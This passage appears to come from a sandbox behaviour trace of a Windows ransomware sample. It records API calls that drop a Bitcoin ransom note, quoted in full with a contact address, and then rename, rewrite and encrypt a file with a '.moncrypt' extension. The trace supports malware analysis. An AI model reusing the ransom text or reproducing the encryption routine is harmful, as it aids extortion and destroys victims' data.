returned 0x440004 [0052.632] GlobalUnlock (hMem=0x440004) returned 0 [0052.632] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.632] GlobalUnlock (hMem=0x44000c) returned 0 [0052.632] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a360, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.632] GetLastError () returned 0x2 [0052.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.634] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.635] CloseHandle (hObject=0x18c) returned 1 [0052.635] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0052.635] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.635] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.635] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.635] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.635] GlobalUnlock (hMem=0x44000c) returned 0 [0052.635] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.635] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.635] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.635] GlobalUnlock (hMem=0x44000c) returned 0 [0052.635] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.635] GlobalUnlock (hMem=0x440004) returned 0 [0052.635] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.636] CharLowerBuffW (in: lpsz="PROFILE.INF", cchLength=0xb | out: lpsz="profile.inf") returned 0xb [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", lpUsedDefaultChar=0x0) returned 75 [0052.636] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\PROFILE\\PROFILE.INF", lpUsedDefaultChar=0x0) returned 4 [0052.636] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.637] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.637] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.637] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.637] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.637] GlobalUnlock (hMem=0x440004) returned 0 [0052.637] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.637] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.637] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.637] GlobalUnlock (hMem=0x440004) returned 0 [0052.637] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.637] GlobalUnlock (hMem=0x44000c) returned 0 [0052.637] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.638] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0052.638] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\PROFILE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0052.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.639] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.639] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.639] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.moncrypt")) returned 1 [0052.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.640] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.640] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4162 [0052.640] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.640] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.642] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.642] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.642] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.642] GlobalUnlock (hMem=0x440004) returned 0 [0052.642] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.642] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.643] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.643] GlobalUnlock (hMem=0x440004) returned 0 [0052.643] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.643] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.643] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.643] GlobalUnlock (hMem=0x44000c) returned 0 [0052.643] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.643] GlobalUnlock (hMem=0x440004) returned 0 [0052.643] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.643] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.643] GlobalUnlock (hMem=0x440004) returned 0 [0052.643] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.643] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.643] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.643] GlobalUnlock (hMem=0x440004) returned 0 [0052.643] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.643] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.643] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.643] SetFilePointer (in: hFile=0x18c, lDistanceToMove=16738, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4162 [0052.643] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.643] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.644] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.655] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.655] CloseHandle (hObject=0x18c) returned 1 [0052.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.655] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.656] CloseHandle (hObject=0x18c) returned 1 [0052.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.656] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.656] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.656] GlobalUnlock (hMem=0x440004) returned 0 [0052.656] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.656] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.656] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.656] GlobalUnlock (hMem=0x440004) returned 0 [0052.656] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.656] GlobalUnlock (hMem=0x44000c) returned 0 [0052.656] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408ef660, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x408ef660, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x408ef660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.657] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.657] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.657] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.657] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.657] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.657] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.657] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.657] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.657] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.657] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.657] CloseHandle (hObject=0x18c) returned 1 [0052.657] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, 